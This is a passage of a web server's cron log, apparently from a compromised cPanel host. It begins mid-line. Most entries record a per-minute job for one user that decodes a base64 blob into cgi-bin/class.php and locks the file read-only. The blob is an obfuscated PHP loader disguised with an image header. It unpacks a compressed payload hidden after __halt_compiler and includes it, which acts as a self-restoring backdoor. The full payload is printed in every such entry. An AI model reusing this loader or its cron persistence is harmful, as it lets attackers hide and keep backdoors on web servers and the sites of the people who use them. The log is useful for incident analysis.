&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:35:01 server CROND[2600]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 22:35:01 server CROND[2601]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 22:35:01 server CROND[2604]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:35:01 server CROND[2606]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 22:35:01 server CROND[2605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 22:36:01 server CROND[3586]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:37:01 server CROND[4609]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:38:01 server CROND[5528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:39:01 server CROND[6449]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 22:39:01 server CROND[6450]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:40:01 server CROND[7373]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 22:40:01 server CROND[7374]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:40:01 server CROND[7375]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 22:40:01 server CROND[7376]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 22:41:01 server CROND[8339]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:42:01 server CROND[9356]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 22:42:01 server CROND[9357]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:43:01 server CROND[10292]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:44:01 server CROND[11337]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:45:01 server CROND[12263]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 22:45:01 server CROND[12264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 22:45:01 server CROND[12266]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:46:01 server CROND[13241]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
